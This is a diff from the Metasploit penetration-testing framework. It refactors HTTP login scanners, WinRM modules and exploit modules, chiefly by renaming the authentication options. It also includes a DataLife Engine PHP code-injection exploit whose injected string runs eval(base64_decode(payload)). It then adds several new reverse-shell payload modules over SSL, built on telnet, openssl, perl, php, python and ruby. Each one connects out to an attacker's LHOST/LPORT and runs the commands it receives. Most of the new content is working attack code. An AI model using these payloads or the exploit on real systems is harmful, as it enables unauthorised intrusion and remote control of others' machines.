vprint_status("#{target_url} - Trying username:'#{user}' with random password")
any_pass = do_http_login(user, Rex::Text.rand_text_alpha(8), @scheme)
any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8)))
if any_user == :success
user = "anyuser"
@ -175,7 +152,7 @@ class Metasploit3 < Msf::Auxiliary
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Generic\", PROOF=#{proof}",
:proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}",
:source_type => "user_supplied",
:active => true
)
@ -188,142 +165,28 @@ class Metasploit3 < Msf::Auxiliary
end
end
def do_http_login(user,pass,scheme)
case scheme
when /NTLM/i
do_http_auth_ntlm(user,pass)
when /Digest/i
do_http_auth_digest(user,pass,datastore['REQUESTTYPE'])
when /Basic/i
do_http_auth_basic(user,pass)
else
vprint_error("#{target_url}: Unknown authentication scheme")
return :abort
end
end
def do_http_auth_ntlm(user,pass)
def do_http_login(user,pass)
begin
resp = send_request_auth_negotiate(
response = send_request_cgi({
'uri' => @uri,
'method' => datastore['REQUESTTYPE'],
'username' => user,
'password' => pass
)
return :abort if (resp.code == 404)
if [200, 301, 302].include?(resp.code)
@proof = resp
return :success
end
})
return response
rescue ::Rex::ConnectionError
vprint_error("#{target_url} - Failed to connect to the web server")
return :abort
return nil
end
end
def determine_result(response)
return :abort unless response.kind_of? Rex::Proto::Http::Response
return :abort unless response.code
return :success if [200, 301, 302].include?(response.code)
return :fail
end
def do_http_auth_basic(user,pass)
user_pass = Rex::Text.encode_base64(user + ":" + pass)
begin
res = send_request_cgi({
'uri' => @uri,
'method' => 'GET',
'headers' =>
{
'Authorization' => "Basic #{user_pass}",
}
}, 25)
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("#{target_url} not responding")
return :abort
end
return :abort if (res.code == 404)
if [200, 301, 302].include?(res.code)
@proof = res
return :success
end
rescue ::Rex::ConnectionError
vprint_error("#{target_url} - Failed to connect to the web server")
return :abort
end
return :fail
end
def do_http_auth_digest(user,pass,requesttype)
path = datastore['AUTH_URI'] || "/"
begin
if requesttype == "PUT"
res= send_digest_request_cgi({
'uri' => path,
'method' => requesttype,
'data' => 'Test123\r\n',
#'DigestAuthIIS' => false,
'DigestAuthUser' => user,
'DigestAuthPassword' => pass
}, 25)
elsif requesttype == "PROPFIND"
res = send_digest_request_cgi({
'uri' => path,
'method' => requesttype,
'data' => '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:allprop/></D:propfind>',
#'DigestAuthIIS' => false,
'DigestAuthUser' => user,
'DigestAuthPassword' => pass,
'headers' => { 'Depth' => '0'}
}, 25)
else
res= send_digest_request_cgi({
'uri' => path,
'method' => requesttype,
#'DigestAuthIIS' => false,
'DigestAuthUser' => user,
'DigestAuthPassword' => pass
}, 25)
end
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("#{target_url} not responding")
return :abort
end
return :abort if (res.code == 404)
if ( [200, 301, 302].include?(res.code) ) or (res.code == 201)
if ((res.code == 201) and (requesttype == "PUT"))
print_good("Trying to delete #{path}")
del_res = send_digest_request_cgi({
'uri' => path,
'method' => 'DELETE',
'DigestAuthUser' => user,
'DigestAuthPassword' => pass
}, 25)
if not (del_res.code == 204)
print_error("#{path} could be created, but not deleted again. This may have been noisy ...")
end
end
@proof = res
return :success
end
if (res.code == 207) and (requesttype == "PROPFIND")
@proof = res
return :success
end
rescue ::Rex::ConnectionError
vprint_error("#{target_url} - Failed to connect to the web server")
return :abort
end
return :fail
end
end

View File

@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
unless accepts_ntlm_auth
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
return
end
streams = winrm_run_cmd(datastore['CMD'])
return unless streams.class == Hash
print_error streams['stderr'] unless streams['stderr'] == ''

View File

@ -39,12 +39,8 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
unless accepts_ntlm_auth
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
return
end
each_user_pass do |user, pass|
resp,c = send_request_ntlm(test_request)
resp = send_winrm_request(test_request)
if resp.nil?
print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out"
return

View File

@ -42,12 +42,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
unless accepts_ntlm_auth
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
return
end
resp,c = send_request_ntlm(winrm_wql_msg(datastore['WQL']))
resp = send_winrm_request(winrm_wql_msg(datastore['WQL']))
if resp.nil?
print_error "Got no reply from the server"
return

View File

@ -84,8 +84,7 @@ class Metasploit3 < Msf::Auxiliary
'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
], self.class)
deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword',
'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
end

View File

@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']),
OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']),
], self.class)
end
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
if res.code == 401
print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!")
print_error("401 Authorization Required! Our credentials were not accepted!")
elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
print_status("Command successfully executed (according to the server).")
end

View File

@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true,
},
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ],
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ],
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0

View File

@ -227,9 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote
authmsg = res.headers['WWW-Authenticate']
end
print_error("The remote server responded expecting authentication")
if datastore['BasicAuthUser'] and datastore['BasicAuthPass']
print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser'])
elsif authmsg
if authmsg
print_error("WWW-Authenticate: %s" % authmsg)
end
cleanup_instructions(rpath, name) # display cleanup info

View File

@ -96,9 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))

View File

@ -123,9 +123,6 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))

View File

@ -112,9 +112,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
res = query_serverinfo
disconnect
return CheckCode::Unknown if res.nil?
@ -127,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => datastore['BasicAuthUser'],
:pass => datastore['BasicAuthPass'],
:user => datastore['USERNAME'],
:pass => datastore['PASSWORD'],
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
:active => true
)
@ -164,9 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target
@ -221,8 +215,8 @@ class Metasploit3 < Msf::Exploit::Remote
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => datastore['BasicAuthUser'],
:pass => datastore['BasicAuthPass'],
:user => datastore['USERNAME'],
:pass => datastore['PASSWORD'],
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
:active => true
)

View File

@ -18,8 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
with the e modifier, which allows to inject arbitrary php code, when the template
in use contains a [catlist] or [not-catlist] tag.
with the e modifier, which allows to inject arbitrary php code, when there is a
template installed which contains a [catlist] or [not-catlist] tag, even when the
template isn't in use currently. The template can be configured with the TEMPLATE
datastore option.
},
'Author' =>
[
@ -49,7 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]),
OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"])
], self.class)
end
@ -57,17 +60,24 @@ class Metasploit3 < Msf::Exploit::Remote
normalize_uri(target_uri.path, 'engine', 'preview.php')
end
def check
fingerprint = rand_text_alpha(4+rand(4))
def send_injection(inj)
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'vars_post' =>
{
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
}
'catlist[0]' => inj
},
'cookie' => "dle_skin=#{datastore['TEMPLATE']}"
})
res
end
def check
fingerprint = rand_text_alpha(4+rand(4))
res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//")
if res and res.code == 200 and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
@ -80,14 +90,6 @@ class Metasploit3 < Msf::Exploit::Remote
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'vars_post' =>
{
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
}
})
res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//")
end
end

View File

@ -67,9 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def go(command)
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
xml = <<-EOS
<?xml version="1.0"?>
<methodCall>

View File

@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(8080),
OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']),
OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']),
], self.class)
end

View File

@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote
[
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
], self.class)
end
@ -46,12 +46,10 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
uri = build_path
print_status "Uploading Payload to #{uri}"
res,c = send_digest_request_cgi({
res = send_request_cgi({
'uri' => uri,
'method' => 'PUT',
'data' => payload.raw,
'DigestAuthUser' => datastore['RUSER'],
'DigestAuthPassword' => datastore['RPASS']
'data' => payload.raw
}, 25)
unless (res and res.code == 201)
print_error "Failed to upload file!"

View File

@ -66,20 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote
@compat_mode = false
end
def check
unless accepts_ntlm_auth
print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth"
return Msf::Exploit::CheckCode::Safe
end
return Msf::Exploit::CheckCode::Vulnerable
end
def exploit
unless check == Msf::Exploit::CheckCode::Vulnerable
return
end
unless valid_login?
print_error "Login Failure. Recheck your credentials"
return
@ -141,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
def temp_dir
print_status "Grabbing %TEMP%"
resp,c = send_request_ntlm(winrm_open_shell_msg)
resp = send_winrm_request(winrm_open_shell_msg)
if resp.nil?
print_error "Got no reply from the server"
return nil
@ -152,16 +140,16 @@ class Metasploit3 < Msf::Exploit::Remote
end
shell_id = winrm_get_shell_id(resp)
cmd = "echo %TEMP%"
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
resp= send_winrm_request(winrm_cmd_msg(cmd, shell_id))
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id))
streams = winrm_get_cmd_streams(resp)
return streams['stdout'].chomp
end
def check_remote_arch
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
resp,c = send_request_ntlm(winrm_wql_msg(wql))
resp = send_winrm_request(winrm_wql_msg(wql))
#Default to x86 if we can't be sure
return "x86" if resp.nil? or resp.code != 200
resp_tbl = parse_wql_response(resp)
@ -247,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote
def valid_login?
data = winrm_wql_msg("Select Name,Status from Win32_Service")
resp,c = send_request_ntlm(data)
resp = send_winrm_request(data)
unless resp.code == 200
return false
end

View File

@ -0,0 +1,63 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
'Version' => '$Revision$',
'Description' => %q{
Creates an interactive shell via mknod and telnet.
This method works on Debian and other systems compiled
without /dev/tcp support. This module uses the '-z'
option included on some systems to encrypt using SSL.
},
'Author' => 'RageLtMan',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd_bash',
'RequiredCmd' => 'bash-tcp',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
end
end

View File

@ -0,0 +1,58 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_double_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)',
'Description' => 'Creates an interactive shell through two inbound connections',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd =
"sh -c '(sleep #{3600+rand(1024)}|" +
"openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" +
"while : ; do sh && break; done 2>&1|" +
"openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" +
" >/dev/null 2>&1 &)'"
return cmd
end
end

View File

@ -0,0 +1,63 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell via perl, uses SSL',
'Author' => 'RageLtMan',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");"
cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
end
end

View File

@ -0,0 +1,61 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell via php, uses SSL',
'Author' => 'RageLtMan',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'php',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&"
end
end

View File

@ -0,0 +1,79 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
'Author' => 'RageLtMan',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'python',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd += "import socket,subprocess,os,ssl\n"
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd += "s=ssl.wrap_socket(so)\n"
# The actual IO
cmd += "#{dead}=False\n"
cmd += "while not #{dead}:\n"
cmd += "\tdata=s.recv(1024)\n"
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"
# The *nix shell wrapper to keep things clean
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\""
cmd += ' >/dev/null 2>&1 &'
return cmd
end
end

View File

@ -0,0 +1,49 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
'Version' => '$Revision$',
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
'Author' => 'RageLtMan',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
vprint_good(command_string)
return super + command_string
end
def command_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
"ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
end
end

View File

@ -0,0 +1,67 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_double_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option',
'Author' => [
'hdm', # Original module
'RageLtMan', # SSL support
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'telnet',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd =
"sh -c '(sleep #{3600+rand(1024)}|" +
"telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" +
"while : ; do sh && break; done 2>&1|" +
"telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" +
" >/dev/null 2>&1 &)'"
return cmd
end
end

View File

@ -0,0 +1,77 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
'Author' => 'RageLtMan',
'License' => BSD_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd += "import socket,subprocess,os,ssl\n"
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd += "s=ssl.wrap_socket(so)\n"
# The actual IO
cmd += "#{dead}=False\n"
cmd += "while not #{dead}:\n"
cmd += "\tdata=s.recv(1024)\n"
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"
# The *nix shell wrapper to keep things clean
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
return cmd
end
end

View File

@ -0,0 +1,52 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/payload/ruby'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Ruby
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Command Shell, Reverse TCP SSL',
'Version' => '$Revision$',
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
'Author' => 'RageLtMan',
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
rbs = prepends(ruby_string)
vprint_good rbs
return rbs
end
def ruby_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
return rbs
end
end